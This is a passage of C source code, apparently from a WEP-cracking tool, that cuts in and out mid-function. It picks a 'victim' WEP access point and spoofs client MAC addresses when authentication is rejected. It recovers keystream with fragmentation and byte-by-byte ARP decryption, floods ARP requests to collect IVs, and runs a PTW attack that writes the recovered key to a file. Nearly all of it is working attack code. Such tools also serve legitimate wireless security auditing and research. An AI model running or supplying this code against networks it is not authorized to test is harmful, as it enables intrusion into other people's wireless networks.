buf[128]; struct ieee80211_frame* wh = (struct ieee80211_frame*) buf; unsigned short* n; memset(buf, 0, sizeof(buf)); fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH; n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh)); n++; *n = htole16(1); send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2); } static int get_victim_ssid(struct wstate *ws, struct ieee80211_frame* wh, int len) { unsigned char* ptr; int x; int gots = 0, gotc = 0; if (len <= (int) sizeof(*wh)) { time_print("Warning: short packet in get_victim_ssid()\n"); return 0; } ptr = (unsigned char*)wh + sizeof(*wh); len -= sizeof(*wh); // only wep baby if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) { return 0; } // we want a specific victim if (ws->ws_victim_mac) { if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return 0; } // beacon header x = 8 + 2 + 2; if (len <= x) { time_print("Warning short.\n"); return 0; } ptr += x; len -= x; // SSID while(len > 2) { int eid, elen; eid = *ptr; ptr++; elen = *ptr; ptr++; len -= 2; if (len < elen) { time_print("Warning short....\n"); return 0; } // ssid if (eid == 0) { if (ws->ws_ssid) free(ws->ws_ssid); ws->ws_ssid = (char*) malloc(elen + 1); if (!ws->ws_ssid) { perror("malloc()"); exit(1); } memcpy(ws->ws_ssid, ptr, elen); ws->ws_ssid[elen] = 0; gots = 1; } // chan else if(eid == 3) { if( elen != 1) { time_print("Warning len of chan not 1\n"); return 0; } ws->ws_apchan = *ptr; gotc = 1; } ptr += elen; len -= elen; } if (gots && gotc) { memcpy(ws->ws_bss, wh->i_addr3, 6); set_chan(ws, ws->ws_apchan); ws->ws_state = FOUND_VICTIM; time_print("Found SSID(%s) BSS=(%s) chan=%d\n", ws->ws_ssid, mac2str(ws->ws_bss), ws->ws_apchan); return 1; } return 0; } static void send_ack(struct wstate *ws) { if (ws) {} /* XXX unused */ /* firmware acks */ } static void do_llc(unsigned char* buf, unsigned short type) { struct llc* h = (struct llc*) buf; memset(h, 0, sizeof(*h)); h->llc_dsap = LLC_SNAP_LSAP; h->llc_ssap = LLC_SNAP_LSAP; h->llc_un.type_snap.control = 3; h->llc_un.type_snap.ether_type = htons(type); } static void set_prga(struct wstate *ws, unsigned char* iv, unsigned char* cipher, unsigned char* clear, int len) { int i; int fd; if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga); ws->ws_pi.pi_prga = (unsigned char*) malloc(len); if (!ws->ws_pi.pi_prga) { perror("malloc()"); exit(1); } ws->ws_pi.pi_len = len; memcpy(ws->ws_pi.pi_iv, iv, 3); for (i = 0; i < len; i++) { ws->ws_pi.pi_prga[i] = ( cipher ? (clear[i] ^ cipher[i]) : clear[i]); } time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=", ws->ws_pi.pi_len, ws->ws_pi.pi_iv[0], ws->ws_pi.pi_iv[1], ws->ws_pi.pi_iv[2]); hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len); if (!cipher) return; fd = open(PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) { perror("open()"); exit(1); } i = write(fd, ws->ws_pi.pi_iv, 3); if (i == -1) { perror("write()"); exit(1); } if (i != 3) { printf("Wrote %d out of %d\n", i, 3); exit(1); } i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len); if (i == -1) { perror("write()"); exit(1); } if (i != ws->ws_pi.pi_len) { printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len); exit(1); } close(fd); } static void proc_ctl(struct wstate *ws, int stype) { if (stype == IEEE80211_FC0_SUBTYPE_ACK) { ws->ws_waiting_ack = 0; return; } else if (stype == IEEE80211_FC0_SUBTYPE_RTS) { return; } else if (stype == IEEE80211_FC0_SUBTYPE_CTS) { return; } time_print ("got CTL=%x\n", stype); } static void proc_mgt(struct wstate *ws, int stype, unsigned char *body) { unsigned short * rc; unsigned short * sc; unsigned int aid; if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) { rc = (unsigned short*) body; printf("\n"); time_print("Got deauth=%u\n", le16toh(*rc)); ws->ws_state = FOUND_VICTIM; return; } else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) { sc = (unsigned short*) body; if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */ return; if (le16toh(*sc) != 0) { time_print("Warning got auth algo=%x\n", le16toh(*sc)); exit(1); return; } sc++; if (le16toh(*sc) != 2) { time_print("Warning got auth seq=%x\n", le16toh(*sc)); return; } sc++; if (le16toh(*sc) == 1) { time_print("Auth rejected. Spoofin mac.\n"); ws->ws_state = SPOOF_MAC; return; } else if (le16toh(*sc) == 0) { time_print("Authenticated\n"); ws->ws_state = GOT_AUTH; return; } else { time_print("Got auth %x\n", *sc); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_ASSOC_RESP) { sc = (unsigned short*) body; sc++; // cap if (ws->ws_state != SENDING_ASSOC) /* We didn't ask for it. */ return; if (le16toh(*sc) == 0) { sc++; aid = le16toh(*sc) & 0x3FFF; time_print("Associated (ID=%x)\n", aid); ws->ws_state = GOT_ASSOC; return; } else if (le16toh(*sc) == 12 || le16toh(*sc) == 1) { time_print("Assoc rejected..." " trying to spoof mac.\n"); ws->ws_state = SPOOF_MAC; return; } else { time_print("got assoc %d\n", le16toh(*sc)); exit(1); } } else if (stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { return; } time_print("\nGOT MAN=%x\n", stype); exit(1); } static void proc_data(struct wstate *ws, struct ieee80211_frame *wh, int len) { int dlen; dlen = len - sizeof(*wh) - 4 -4; if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) { time_print("WARNING: Got NON wep packet from %s dlen %d\n", mac2str(wh->i_addr2), dlen); return; } assert (wh->i_fc[1] & IEEE80211_FC1_WEP); if ((dlen == 36 || dlen == PADDED_ARPLEN) && ws->ws_rtrmac == (unsigned char*) 1) { ws->ws_rtrmac = (unsigned char *) malloc(6); if (!ws->ws_rtrmac) { perror("malloc()"); exit(1); } assert( ws->ws_rtrmac > (unsigned char*) 1); memcpy (ws->ws_rtrmac, wh->i_addr3, 6); time_print("Got arp reply from (%s)\n", mac2str(ws->ws_rtrmac)); return; } } static void stuff_for_us(struct wstate *ws, struct ieee80211_frame* wh, int len) { int type,stype; unsigned char *body = (unsigned char*) (wh+1); type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // CTL if (type == IEEE80211_FC0_TYPE_CTL) { proc_ctl(ws, stype); return; } // MGM if (type == IEEE80211_FC0_TYPE_MGT) { proc_mgt(ws, stype, body); return; } /* Data */ if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { proc_data(ws, wh, len); return; } #if 0 printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n", type, stype, mac2str(wh->i_addr2), len); #endif } static void decrypt_arpreq(struct wstate *ws, struct ieee80211_frame* wh, int rd) { unsigned char* body; int bodylen; unsigned char clear[36]; unsigned char* ptr; struct arphdr* h; int i; body = (unsigned char*) wh+sizeof(*wh); ptr = clear; // calculate clear-text memcpy(ptr, S_LLC_SNAP_ARP, sizeof(S_LLC_SNAP_ARP)-1); ptr += sizeof(S_LLC_SNAP_ARP) -1; h = (struct arphdr*)ptr; h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(ARPOP_REQUEST); ptr += sizeof(*h); memcpy(ptr, wh->i_addr3, 6); bodylen = rd - sizeof(*wh) - 4 - 4; ws->ws_clen = bodylen; ws->ws_cipher = (unsigned char*) malloc(ws->ws_clen); if (!ws->ws_cipher) { perror("malloc()"); exit(1); } ws->ws_dpi.pi_prga = (unsigned char*) malloc(ws->ws_clen); if (!ws->ws_dpi.pi_prga) { perror("malloc()"); exit(1); } memcpy(ws->ws_cipher, &body[4], ws->ws_clen); memcpy(ws->ws_dpi.pi_iv, body, 3); memset(ws->ws_dpi.pi_prga, 0, ws->ws_clen); for(i = 0; i < (8+8+6); i++) { ws->ws_dpi.pi_prga[i] = ws->ws_cipher[i] ^ clear[i]; } ws->ws_dpi.pi_len = i; time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); } static void log_wep(struct wstate *ws, struct ieee80211_frame* wh, int len) { int rd; struct pcap_pkthdr pkh; struct timeval tv; unsigned char *body = (unsigned char*) (wh+1); memset(&pkh, 0, sizeof(pkh)); pkh.caplen = pkh.len = len; if (gettimeofday(&tv, NULL) == -1) err(1, "gettimeofday()"); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; if (write(ws->ws_fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()"); rd = write(ws->ws_fd, wh, len); if (rd == -1) { perror("write()"); exit(1); } if (rd != len) { time_print("short write %d out of %d\n", rd, len); exit(1); } #if 0 if (fsync(ws->ws_fd) == -1) { perror("fsync()"); exit(1); } #endif memcpy(ws->ws_iv, body, 3); ws->ws_packets++; } static void add_keystream(struct wstate *ws, struct ieee80211_frame* wh, int rd) { unsigned char clear[1024]; int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4; int clearsize; unsigned char *body = (unsigned char*) (wh+1); int i, weight[16], k, j; k = known_clear(clear, &clearsize, weight, (void*) wh, dlen); if (clearsize < 16) return; for (j=0; jws_ptw, body, clear, weight, k); } static void got_ip(struct wstate *ws) { unsigned char ip[4]; int i; struct in_addr *in = (struct in_addr*) ip; char *ptr; for (i = 0; i < 4; i++) ip[i] = ws->ws_cipher[8+8+6+i] ^ ws->ws_dpi.pi_prga[8+8+6+i]; assert(!ws->ws_netip); ws->ws_netip = malloc(16); if(!ws->ws_netip) { perror("malloc()"); exit(1); } memset(ws->ws_netip, 0, 16); strncpy(ws->ws_netip, inet_ntoa(*in), 16-1); time_print("Got IP=(%s)\n", ws->ws_netip); strncpy(ws->ws_myip, ws->ws_netip, sizeof(ws->ws_myip)-1); ptr = strchr(ws->ws_myip, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); ptr = strchr(ptr+1, '.'); assert(ptr); strncpy(ptr+1,"123", 3); time_print("My IP=(%s)\n", ws->ws_myip); /* clear decrypt state */ free(ws->ws_dpi.pi_prga); free(ws->ws_cipher); ws->ws_cipher = 0; ws->ws_clen = 0; memset(&ws->ws_dpi, 0, sizeof(ws->ws_dpi)); memset(&ws->ws_dfs, 0, sizeof(ws->ws_dfs)); } static void check_relay(struct wstate *ws, struct ieee80211_frame *wh, unsigned char *body, int dlen) { // looks like it... if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && dlen == ws->ws_fs.fs_len) { // printf("I fink AP relayed it...\n"); set_prga(ws, body, &body[4], ws->ws_fs.fs_data, dlen); free(ws->ws_fs.fs_data); ws->ws_fs.fs_data = 0; ws->ws_fs.fs_waiting_relay = 0; } // see if we get the multicast stuff of when decrypting if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) == 0) && (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) && dlen == 36) { unsigned char pr = wh->i_addr1[5]; printf("\n"); time_print("Got clear-text byte: %d\n", ws->ws_cipher[ws->ws_dpi.pi_len-1] ^ pr); ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1] = pr; ws->ws_dpi.pi_len++; ws->ws_dfs.fs_waiting_relay = 1; // ok we got the ip... if (ws->ws_dpi.pi_len == 26+1) { got_ip(ws); } } } static void got_wep(struct wstate *ws, struct ieee80211_frame* wh, int rd) { int bodylen; int dlen; unsigned char clear[1024]; int clearsize; unsigned char *body; bodylen = rd - sizeof(struct ieee80211_frame); dlen = bodylen - 4 - 4; body = (unsigned char*) wh + sizeof(*wh); // log it if its stuff not from us... if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) || ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && memcmp(wh->i_addr2, ws->ws_mymac, 6) != 0) ) { if (body[3] != 0) { time_print("Key index=%x!!\n", body[3]); exit(1); } log_wep(ws, wh, rd); add_keystream(ws, wh, rd); } // look for arp-request packets... so we can decrypt em if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(wh->i_addr3, ws->ws_mymac, 6) != 0) && (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) && (dlen == 36 || dlen == PADDED_ARPLEN) && !ws->ws_cipher && !ws->ws_netip) { decrypt_arpreq(ws, wh, rd); } // we have prga... check if its our stuff being relayed... if (ws->ws_pi.pi_len != 0) { check_relay(ws, wh, body, dlen); return; } known_clear(clear, &clearsize, NULL, (void*) wh, dlen); time_print("Datalen %d Known clear %d\n", dlen, clearsize); set_prga(ws, body, &body[4], clear, clearsize); } static void stuff_for_net(struct wstate *ws, struct ieee80211_frame* wh, int rd) { int type, stype; type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; if (type == IEEE80211_FC0_TYPE_DATA && stype == IEEE80211_FC0_SUBTYPE_DATA) { int dlen = rd - sizeof(struct ieee80211_frame); if (ws->ws_state == SPOOF_MAC) { unsigned char mac[6]; if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) { memcpy(mac, wh->i_addr3, 6); } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) { memcpy(mac, wh->i_addr1, 6); } else assert(0); if (mac[0] == 0xff || mac[0] == 0x1) return; memcpy(ws->ws_mymac, mac, 6); time_print("Trying to use MAC=(%s)\n", mac2str(ws->ws_mymac)); ws->ws_state = FOUND_VICTIM; return; } // wep data! if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) { got_wep(ws, wh, rd); } } } static void anal(struct wstate *ws, unsigned char* buf, int rd) // yze { struct ieee80211_frame* wh = (struct ieee80211_frame *) buf; int type,stype; static int lastseq = -1; int seq; unsigned short *seqptr; int for_us = 0; if (rd < 1) { time_print("rd=%d\n", rd); exit(1); } type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK; stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK; // sort out acks if (ws->ws_state >= FOUND_VICTIM) { // stuff for us if (memcmp(wh->i_addr1, ws->ws_mymac, 6) == 0) { for_us = 1; if (type != IEEE80211_FC0_TYPE_CTL) send_ack(ws); } } // XXX i know it aint great... seqptr = (unsigned short*) wh->i_seq; seq = (le16toh(*seqptr) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) && type != IEEE80211_FC0_TYPE_CTL) { // printf("Ignoring dup packet... seq=%d\n", seq); return; } lastseq = seq; // management frame if (type == IEEE80211_FC0_TYPE_MGT) { if(ws->ws_state == FIND_VICTIM) { if (stype == IEEE80211_FC0_SUBTYPE_BEACON || stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) { if (get_victim_ssid(ws, wh, rd)) { return; } } } } if (ws->ws_state >= FOUND_VICTIM) { // stuff for us if (for_us) { stuff_for_us(ws, wh, rd); } // stuff in network [even for us] if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && (memcmp(ws->ws_bss, wh->i_addr1, 6) == 0)) || ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && (memcmp(ws->ws_bss, wh->i_addr2, 6) == 0)) ) { stuff_for_net(ws, wh, rd); } } } static void do_arp(unsigned char* buf, unsigned short op, unsigned char* m1, char* i1, unsigned char* m2, char* i2) { struct in_addr sip; struct in_addr dip; struct arphdr* h; unsigned char* data; inet_aton(i1, &sip); inet_aton(i2, &dip); h = (struct arphdr*) buf; memset(h, 0, sizeof(*h)); h->ar_hrd = htons(ARPHRD_ETHER); h->ar_pro = htons(ETHERTYPE_IP); h->ar_hln = 6; h->ar_pln = 4; h->ar_op = htons(op); data = (unsigned char*) h + sizeof(*h); memcpy(data, m1, 6); data += 6; memcpy(data, &sip, 4); data += 4; memcpy(data, m2, 6); data += 6; memcpy(data, &dip, 4); data += 4; } static void send_fragment(struct wstate *ws, struct frag_state* fs, struct prga_info *pi) { unsigned char buf[4096]; struct ieee80211_frame* wh; unsigned char* body; int fragsize; uLong crc; unsigned int *pcrc; int i; unsigned short* seq; unsigned short sn, fn; wh = (struct ieee80211_frame*) buf; memcpy(wh, &fs->fs_wh, sizeof(*wh)); body = (unsigned char*) wh + sizeof(*wh); memcpy(body, &pi->pi_iv, 3); body += 3; *body++ = 0; // key index fragsize = fs->fs_data + fs->fs_len - fs->fs_ptr; assert(fragsize > 0); if ( (fragsize + 4) > pi->pi_len) { fragsize = pi->pi_len - 4; wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG; } // last fragment else { wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG; } memcpy(body, fs->fs_ptr, fragsize); crc = crc32(0L, Z_NULL, 0); crc = crc32(crc, body, fragsize); pcrc = (unsigned int*) (body+fragsize); *pcrc = htole32(crc); for (i = 0; i < (fragsize + 4); i++) body[i] ^= pi->pi_prga[i]; seq = (unsigned short*) &wh->i_seq; sn = (le16toh(*seq) & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT; fn = le16toh(*seq) & IEEE80211_SEQ_FRAG_MASK; // printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn); send_frame(ws, buf, sizeof(*wh) + 4 + fragsize+4); seq = (unsigned short*) &fs->fs_wh.i_seq; *seq = fnseq(++fn, sn); fs->fs_ptr += fragsize; if (fs->fs_ptr - fs->fs_data == fs->fs_len) { // printf("Finished sending frags...\n"); fs->fs_waiting_relay = 1; } } static void prepare_fragstate(struct wstate *ws, struct frag_state* fs, int pad) { fs->fs_waiting_relay = 0; fs->fs_len = 8 + 8 + 20 + pad; fs->fs_data = (unsigned char*) malloc(fs->fs_len); if(!fs->fs_data) { perror("malloc()"); exit(1); } fs->fs_ptr = fs->fs_data; do_llc(fs->fs_data, ETHERTYPE_ARP); do_arp(&fs->fs_data[8], ARPOP_REQUEST, ws->ws_mymac, ws->ws_myip, (unsigned char*) "\x00\x00\x00\x00\x00\x00", "192.168.0.1"); memset(&fs->fs_wh, 0, sizeof(fs->fs_wh)); fill_basic(ws, &fs->fs_wh); memset(fs->fs_wh.i_addr3, 0xff, 6); fs->fs_wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA; fs->fs_wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_WEP; memset(&fs->fs_data[8+8+20], 0, pad); } static void discover_prga(struct wstate *ws) { // create packet... if (!ws->ws_fs.fs_data) { int pad = 0; if (ws->ws_pi.pi_len >= 20) pad = ws->ws_pi.pi_len*3; prepare_fragstate(ws, &ws->ws_fs, pad); } if (!ws->ws_fs.fs_waiting_relay) { send_fragment(ws, &ws->ws_fs, &ws->ws_pi); if (ws->ws_fs.fs_waiting_relay) { if (gettimeofday(&ws->ws_fs.fs_last, NULL) == -1) err(1, "gettimeofday()"); } } } static void decrypt(struct wstate *ws) { // gotta initiate if (!ws->ws_dfs.fs_data) { prepare_fragstate(ws, &ws->ws_dfs, 0); memcpy(ws->ws_dfs.fs_wh.i_addr3, MCAST_PREF, 5); ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]; ws->ws_dpi.pi_len++; } // guess diff prga byte... if (ws->ws_dfs.fs_waiting_relay) { unsigned short seq; ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]++; ws->ws_dfs.fs_wh.i_addr3[5] = ws->ws_dpi.pi_prga[ws->ws_dpi.pi_len-1]; ws->ws_dfs.fs_waiting_relay = 0; ws->ws_dfs.fs_ptr = ws->ws_dfs.fs_data; seq = fnseq(0, ws->ws_psent); ws->ws_dfs.fs_wh.i_seq[0] = (u_int8_t)(seq >> 8); ws->ws_dfs.fs_wh.i_seq[1] = (u_int8_t)(seq % 256); //seq = (unsigned short*) &ws->ws_dfs.fs_wh.i_seq; //*seq = fnseq(0, ws->ws_psent); } send_fragment(ws, &ws->ws_dfs, &ws->ws_dpi); } static void send_arp(struct wstate *ws, unsigned short op, char* srcip, unsigned char* srcmac, char* dstip, unsigned char* dstmac) { static unsigned char arp_pkt[128]; unsigned char* body; unsigned char* ptr; struct ieee80211_frame* wh; int arp_len; memset(arp_pkt, 0, sizeof(arp_pkt)); // construct ARP wh = (struct ieee80211_frame*) arp_pkt; fill_basic(ws, wh); wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA; wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS; memset(wh->i_addr3, 0xff, 6); body = (unsigned char*) wh + sizeof(*wh); ptr = body; ptr += 4; // iv do_llc(ptr, ETHERTYPE_ARP); ptr += 8; do_arp(ptr, op, srcmac, srcip, dstmac, dstip); wepify(ws, body, 8+8+20); arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4; assert(arp_len < (int)sizeof(arp_pkt)); send_frame(ws, arp_pkt, arp_len); } static int find_mac(struct wstate *ws) { if (!(ws->ws_netip && !ws->ws_rtrmac)) return 0; if (gettimeofday(&ws->ws_arpsend, NULL) == -1) err(1, "gettimeofday()"); time_print("Sending arp request for: %s\n", ws->ws_netip); send_arp(ws, ARPOP_REQUEST, ws->ws_myip, ws->ws_mymac, ws->ws_netip, (unsigned char *) "\x00\x00\x00\x00\x00\x00"); // XXX lame ws->ws_rtrmac = (unsigned char*)1; return 1; } static int flood(struct wstate *ws) { if (!(ws->ws_rtrmac > (unsigned char*)1 && ws->ws_netip)) return 0; // could ping broadcast.... send_arp(ws, ARPOP_REQUEST, ws->ws_myip, ws->ws_mymac, ws->ws_netip, (unsigned char*) "\x00\x00\x00\x00\x00\x00"); return 1; } static void can_write(struct wstate *ws) { switch (ws->ws_state) { case FOUND_VICTIM: send_auth(ws); ws->ws_state = SENDING_AUTH; break; case GOT_AUTH: send_assoc(ws); ws->ws_state = SENDING_ASSOC; break; case GOT_ASSOC: if (ws->ws_pi.pi_prga && ws->ws_pi.pi_len < ws->ws_min_prga) { discover_prga(ws); break; } if (ws->ws_cipher) { decrypt(ws); break; } if (!ws->ws_pi.pi_prga) break; // try to find rtr mac addr if (find_mac(ws)) break; // need to generate traffic... if (flood(ws)) break; break; } } static void save_key(unsigned char *key, int len) { char tmp[16]; char k[64]; int fd; int rd; assert(len*3 < (int)sizeof(k)); k[0] = 0; while (len--) { snprintf(tmp, 3, "%.2X", *key++); strncat(k, tmp, 2); if (len) strncat(k, ":", 1); } fd = open(KEY_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (fd == -1) err(1, "open()"); printf("\nKey: %s\n", k); rd = write(fd, k, strlen(k)); if (rd == -1) err(1, "write()"); if (rd != (int) strlen(k)) errx(1, "write %d/%d\n", rd, (int) strlen(k)); close(fd); } static int do_crack(struct wstate *ws) { unsigned char key[PTW_KEYHSBYTES]; int (* all)[256]; int i,j; all = malloc(256*32*sizeof(int)); if (all == NULL) { return 1; } //initial setup (complete keyspace) for (i = 0; i < 32; i++) { for (j = 0; j < 256; j++) { all[i][j] = 1; } } if(PTW_computeKey(ws->ws_ptw, key, 13, KEYLIMIT, PTW_DEFAULTBF, all, 0) == 1) { save_key(key, 13); return 1; } if(PTW_computeKey(ws->ws_ptw, key, 5, KEYLIMIT/10, PTW_DEFAULTBF, all, 0) == 1) { save_key(key, 5); return 1; } return 0; } static void sigchild(int x) { struct wstate *ws; if (x) {} /* XXX unused */ ws = get_ws(); ws->ws_crack_pid = 0; /* crack done */ } static void try_crack(struct wstate *ws) { if (ws->ws_crack_pid) { printf("\n"); time_print("Warning... previous crack still running!\n"); kill_crack(ws); } if (ws->ws_fd) { if (fsync(ws->ws_fd) == -1) err(1, "fsync"); } ws->ws_crack_pid = fork(); if (ws->ws_crack_pid == -1) err(1, "fork"); // child if (ws->ws_crack_pid == 0) { if (!do_crack(ws)) { printf("\n"); time_print("Crack unsuccessful\n"); } exit(1); } // parent printf("\n"); time_print("Starting crack PID=%d\n", ws->ws_crack_pid); if (gettimeofday(&ws->ws_crack_start, NULL) == -1) err(1, "gettimeofday"); ws->ws_wep_thresh += ws->ws_thresh_incr; } static int elapsedd(struct timeval *past, struct timeval *now) { int el; int inf = 666*1000*1000; el = now->tv_sec - past->tv_sec; if (el == 0) { el = now->tv_usec - past->tv_usec; } else { el = (el - 1)*1000*1000; el += 1000*1000-past->tv_usec; el += now->tv_usec; } if (el < 0) return inf; return el; } static int read_packet(struct wstate *ws, unsigned char *dst, int len) { return wi_read(ws->ws_wi, dst, len, NULL); } static void open_wepfile(struct wstate *ws) { ws->ws_fd = open(WEP_FILE, O_WRONLY | O_APPEND); if (ws->ws_fd == -1) { struct pcap_file_header pfh; memset(&pfh, 0, sizeof(pfh)); pfh.magic = TCPDUMP_MAGIC; pfh.version_major = PCAP_VERSION_MAJOR; pfh.version_minor = PCAP_VERSION_MINOR; pfh.thiszone = 0; pfh.sigfigs = 0; pfh.snaplen = 65535; pfh.linktype = LINKTYPE_IEEE802_11; ws->ws_fd = open(WEP_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (ws->ws_fd != -1) { if (write(ws->ws_fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()"); } } else { time_print("WARNING: Appending in %s\n", WEP_FILE); } if (ws->ws_fd == -1) err(1, "open()"); } static void load_prga(struct wstate *ws) { int fd, rd; unsigned char buf[4096]; fd = open(PRGA_FILE, O_RDONLY); if (fd != -1) { time_print("WARNING: reading prga from %s\n", PRGA_FILE); rd = read(fd, buf, sizeof(buf)); if (rd == -1) { perror("read()"); exit(1); } if (rd >= 8) { set_prga(ws, buf, NULL, &buf[3], rd - 3); } close(fd); } } static void check_relay_timeout(struct wstate *ws, struct timeval *now) { int el; if (!ws->ws_fs.fs_waiting_relay) return; el = elapsedd(&ws->ws_fs.fs_last, now); if (el > (1500*1000)) { // printf("\nLAMER timeout\n\n"); free(ws->ws_fs.fs_data); ws->ws_fs.fs_data = 0; } } static void check_arp_timeout(struct wstate *ws, struct timeval *now) { int el; if (ws->ws_rtrmac != (unsigned char*) 1) return; el = elapsedd(&ws->ws_arpsend, now); if (el >= (1500*1000)) { ws->ws_rtrmac = 0; } } static void display_status_bar(struct wstate *ws, struct timeval *now, struct timeval *last_status, char *pbarp) { int el; el = elapsedd(last_status, now); if (el < 100*1000) return; if (ws->ws_crack_pid) check_key(ws); if (ws->ws_netip && ws->ws_pi.pi_len >= ws->ws_min_prga && ws->ws_rtrmac > (unsigned char*) 1) { time_print("WEP=%.9d (next crack at %d) " "IV=%.2x:%.2x:%.2x (rate=%d) \r", ws->ws_packets, ws->ws_wep_thresh, ws->ws_iv[0], ws->ws_iv[1], ws->ws_iv[2], ws->ws_rate); } else { if (ws->ws_state == FIND_VICTIM) { time_print("Chan %.02d %c\r", ws->ws_chan, *pbarp); } else if (ws->ws_cipher) { int pos = ws->ws_dpi.pi_len - 1; unsigned char prga = ws->ws_dpi.pi_prga[pos]; assert(pos); time_print("Guessing PRGA %.2x (IP byte=%d) \r", prga, ws->ws_cipher[pos] ^ prga); } else time_print("%c\r", *pbarp); } fflush(stdout); memcpy(last_status, now, sizeof(*last_status)); } static void check_tx(struct wstate *ws, struct timeval *now) { int elapsed; if (!ws->ws_waiting_ack) return; elapsed = elapsedd(&ws->ws_tsent, now); if (elapsed >= (int)ws->ws_ack_timeout) send_frame(ws, NULL, -1); } static void check_hop(struct wstate *ws, struct timeval *now) { int elapsed; int chan = ws->ws_chan; elapsed = elapsedd(&ws->ws_lasthop, now); if (elapsed < 300*1000) return; chan++; if(chan > ws->ws_max_chan) chan = 1; set_chan(ws, chan); memcpy(&ws->ws_lasthop, now, sizeof(ws->ws_lasthop)); } static void post_input(struct wstate *ws, struct timeval *now) { int el; // check state and what we do next. if (ws->ws_state == FIND_VICTIM) { check_hop(ws, now); return; } // check if we need to write something... if (!ws->ws_waiting_ack) can_write(ws); el = elapsedd(&ws->ws_last_wcount, now); /* calculate rate, roughtly */ if (el < 1*1000*1000) return; ws->ws_rate = ws->ws_packets - ws->ws_last_wep_count; ws->ws_last_wep_count = ws->ws_packets; memcpy(&ws->ws_last_wcount, now, sizeof(ws->ws_last_wcount)); if (ws->ws_wep_thresh != -1 && ws->ws_packets > (unsigned int) ws->ws_wep_thresh) try_crack(ws); } static void do_input(struct wstate *ws) { unsigned char buf[4096]; int rd; rd = read_packet(ws, buf, sizeof(buf)); if (rd == 0) return; if (rd == -1) { perror("read()"); exit(1); } // input anal(ws, buf, rd); } static void own(struct wstate *ws) { int rd; fd_set rfd; struct timeval tv; char *pbar = "/-\\|"; char *pbarp = &pbar[0]; struct timeval now; struct timeval last_status; int largest; int wifd; wifd = wi_fd(ws->ws_wi); open_wepfile(ws); load_prga(ws); largest = wi_fd(ws->ws_wi); if (signal(SIGINT, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if (signal (SIGTERM, &cleanup) == SIG_ERR) { perror("signal()"); exit(1); } if 